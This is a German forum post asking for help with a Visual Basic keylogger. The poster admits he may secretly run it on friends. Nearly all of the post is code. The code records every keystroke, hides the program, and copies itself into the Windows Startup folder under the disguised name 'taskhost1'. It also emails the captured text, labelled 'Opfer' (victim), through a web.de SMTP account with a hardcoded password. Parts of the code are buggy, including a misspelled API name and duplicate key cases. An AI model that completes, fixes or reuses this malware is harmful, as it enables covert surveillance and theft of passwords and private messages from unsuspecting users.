Ich habe mal versucht einen Keylogger zu coden mithilfe eines Tutorials.
Vorerst:
Ich werde diesen nicht benutzen um andere Leute zu hacken, höchstens paar Freunde aus Spaß^^ Aber der eigentliche Zweck ist um zu sehen, wie sowas funktioniert und wie es aussieht und um mir etwas mehr Wissen über VB anzueignen.
So, dieser Keylogger soll wie alle anderen alle eingtippten Buchstaben notieren. Der Keylogger sollte aber auch die Funktion besitzen sich in den Autostart zu kopieren und danach sollte es mir eine E-Mail mit den Logs(der aufgezeichnete Text) schicken.
Ich bin nun soweit, das der Keylogger im Hintergrund läuft und unter Anwendungen nicht zu sehen ist. Nur unter Prozessen.
Mein Problem ist, das es nicht im Autostart ist und ich bekomme auch keine E-Mails sobald das Programm bzw. der Rechner geschlossen ist.
Ich hoffe ihr könnt mir bei diesem Problem helfen.
Mein Code:
Code:
Imports System.Net
Imports System.Net.Mail
Imports System.Web
Imports System.IO
Public Class Form1
Dim rtb1 As Object = RichTextBox1
Dim typein As String
Private Declare Function GetAsnycKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
For Recorder = 1 To 255
typein = GetAsnycKeyState(Recorder)
If typein = -32767 Then
Select Case Recorder
Case 4
rtb1.Text += "[RADK]"
Case 13
rtb1.Text += "[ENTER]"
Case 160
rtb1.Text += ""
Case 161
rtb1.Text += ""
Case 164
rtb1.Text += "[Alt]"
Case 165
rtb1.Text += "[Alt]"
Case 189
rtb1.Text += "-"
Case 187
rtb1.Text += "+"
Case 46
rtb1.Text += "."
Case 16
rtb1.Text += "[Shift]"
Case 17
rtb1.Text += "[Strg]"
Case 18
rtb1.Text += "[Alt]"
Case 21
rtb1.Text += " "
Case 33
rtb1.Text += "!"
Case 34
rtb1.Text = rtb1.Text + "´´"
Case 35
rtb1.Text += "#"
Case 36
rtb1.Text += "$"
Case 37
rtb1.Text += "%"
Case 38
rtb1.Text += "&"
Case 39
rtb1.Text += "'"
Case 40
rtb1.Text += "("
Case 41
rtb1.Text += ")"
Case 42
rtb1.Text += "*"
Case 43
rtb1.Text += "+"
Case 44
rtb1.Text += ","
Case 45
rtb1.Text += "-"
Case 46
rtb1.Text += "."
Case 47
rtb1.Text += "/"
Case 48
rtb1.Text += "0"
Case 49
rtb1.Text += "1"
Case 50
rtb1.Text += "2"
Case 51
rtb1.Text += "3"
Case 52
rtb1.Text += "4"
Case 53
rtb1.Text += "5"
Case 54
rtb1.Text += "6"
Case 55
rtb1.Text += "7"
Case 56
rtb1.Text += "8"
Case 57
rtb1.Text += "9"
Case 58
rtb1.Text += ":"
Case 59
rtb1.Text += ";"
Case 60
rtb1.Text += "<"
Case 61
rtb1.Text += "="
Case 62
rtb1.Text += ">"
Case 63
rtb1.Text += "?"
Case 64
rtb1.Text += "@"
Case 65
rtb1.Text += "a"
Case 66
rtb1.Text += "b"
Case 67
rtb1.Text += "c"
Case 68
rtb1.Text += "d"
Case 69
rtb1.Text += "e"
Case 70
rtb1.Text += "f"
Case 71
rtb1.Text += "g"
Case 72
rtb1.Text += "h"
Case 73
rtb1.Text += "i"
Case 74
rtb1.Text += "j"
Case 75
rtb1.Text += "k"
Case 76
rtb1.Text += "l"
Case 77
rtb1.Text += "m"
Case 78
rtb1.Text += "n"
Case 79
rtb1.Text += "o"
Case 80
rtb1.Text += "p"
Case 81
rtb1.Text += "q"
Case 82
rtb1.Text += "r"
Case 83
rtb1.Text += "s"
Case 84
rtb1.Text += "t"
Case 85
rtb1.Text += "u"
Case 86
rtb1.Text += "v"
Case 87
rtb1.Text += "w"
Case 88
rtb1.Text += "x"
Case 89
rtb1.Text += "y"
Case 90
rtb1.Text += "z"
Case 93
rtb1.Text += "]"
Case 94
rtb1.Text += "^"
Case 95
rtb1.Text += "_"
Case 96
rtb1.Text += "`"
Case 97
rtb1.Text += "a"
Case 98
rtb1.Text += "b"
Case 99
rtb1.Text += "c"
Case 100
rtb1.Text += "d"
Case 101
rtb1.Text += "e"
Case 102
rtb1.Text += "f"
Case 103
rtb1.Text += "g"
Case 104
rtb1.Text += "h"
Case 105
rtb1.Text += "i"
Case 106
rtb1.Text += "j"
Case 107
rtb1.Text += "k"
Case 108
rtb1.Text += "l"
Case 109
rtb1.Text += "m"
Case 110
rtb1.Text += "n"
Case 111
rtb1.Text += "o"
Case 112
rtb1.Text += "p"
Case 113
rtb1.Text += "q"
Case 114
rtb1.Text += "r"
Case 115
rtb1.Text += "s"
Case 116
rtb1.Text += "t"
Case 117
rtb1.Text += "u"
Case 118
rtb1.Text += "v"
Case 119
rtb1.Text += "w"
Case 120
rtb1.Text += "x"
Case 121
rtb1.Text += "y"
Case 122
rtb1.Text += "z"
Case 123
rtb1.Text += "{"
Case 124
rtb1.Text += "|"
Case 125
rtb1.Text += "}"
Case 126
rtb1.Text += "~"
Case 128
rtb1.Text += "€"
Case 130
rtb1.Text += "‚"
Case 132
rtb1.Text += "„"
Case 139
rtb1.Text += "‹"
Case 145
rtb1.Text += "‘"
Case 146
rtb1.Text += "’"
Case 147
rtb1.Text += """"
Case 148
rtb1.Text += """"
Case 149
rtb1.Text += "•"
Case 150
rtb1.Text += "–"
Case 151
rtb1.Text += "—"
Case 152
rtb1.Text += "˜"
Case 155
rtb1.Text += "›"
Case 161
rtb1.Text += "¡"
Case 162
rtb1.Text += ""
Case 163
rtb1.Text += ""
Case 165
rtb1.Text += "¥"
Case 166
rtb1.Text += "¦"
Case 167
rtb1.Text += "§"
Case 168
rtb1.Text += "¨"
Case 169
rtb1.Text += "©"
Case 170
rtb1.Text += "ª"
Case 171
rtb1.Text += "«"
Case 174
rtb1.Text += "®"
Case 175
rtb1.Text += "¯"
Case 176
rtb1.Text += "°"
Case 180
rtb1.Text += "´"
Case 183
rtb1.Text += "."
Case 184
rtb1.Text += "¸"
Case 185
rtb1.Text += "¹"
Case 186
rtb1.Text += "ü"
Case 187
rtb1.Text += "»"
Case 188
rtb1.Text += ","
Case 189
rtb1.Text += ":"
Case 190
rtb1.Text += "."
Case 192
rtb1.Text += "ö"
Case 214
rtb1.Text += "Ö"
Case 220
rtb1.Text += "Ü"
Case 222
rtb1.Text += "ä"
Case 223
rtb1.Text += "ß"
Case 227
rtb1.Text += "<"
Case 228
rtb1.Text += "ä"
Case 230
rtb1.Text += "ç"
Case 246
rtb1.Text += "ö"
Case 252
rtb1.Text += "ü"
End Select
End If
Next
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 10
Me.ShowInTaskbar = False
ADDZUAUTOSTART("taskhost1")
End Sub
Sub sendtext()
Dim Nachricht As New MailMessage
Dim MeineEinst As New System.Net.NetworkCredential
MeineEinst.UserName = "
"
MeineEinst.Password = "hallo123"
Nachricht.IsBodyHtml = False
Dim MeinsmtpServer As New SmtpClient
MeinsmtpServer.Host = "smtp.web.de"
MeinsmtpServer.Port = "587"
MeinsmtpServer.UseDefaultCredentials = False
MeinsmtpServer.Credentials = MeineEinst
Nachricht.From = New MailAddress("
")
Nachricht.To.Add("
")
Nachricht.Subject = "Opfer:" + System.Environment.MachineName
Nachricht.Body = "Von" + (System.Environment.MachineName + "Aufgezeichneter Text" + rtb1.text)
MeinsmtpServer.Send(Nachricht)
End Sub
Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
rtb1.Text += "Offline..."
sendtext()
End Sub
Sub ADDZUAUTOSTART(ByVal DateiNameOhneExeEndung As String)
Try
If IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe") Then
rtb1.Text += "Datei ist im Autostart..."
Else
My.Computer.FileSystem.CopyFile(DateiNameOhneExeEndung & ".exe", (Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe"))
End If
Catch ex As Exception
EntferneAutostart("csrss")
rtb1.Text += "Fehler beim Injektieren..."
End Try
End Sub
Sub EntferneAutostart(ByVal DateiNameOhneExeEndung As String)
Try
My.Computer.FileSystem.DeleteFile(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe")
rtb1.Text += "Entfernt aus Autostart..."
Catch ex As Exception
rtb1.Text += "Fehler beim Entfernen..."
End Try
End Sub
End Class






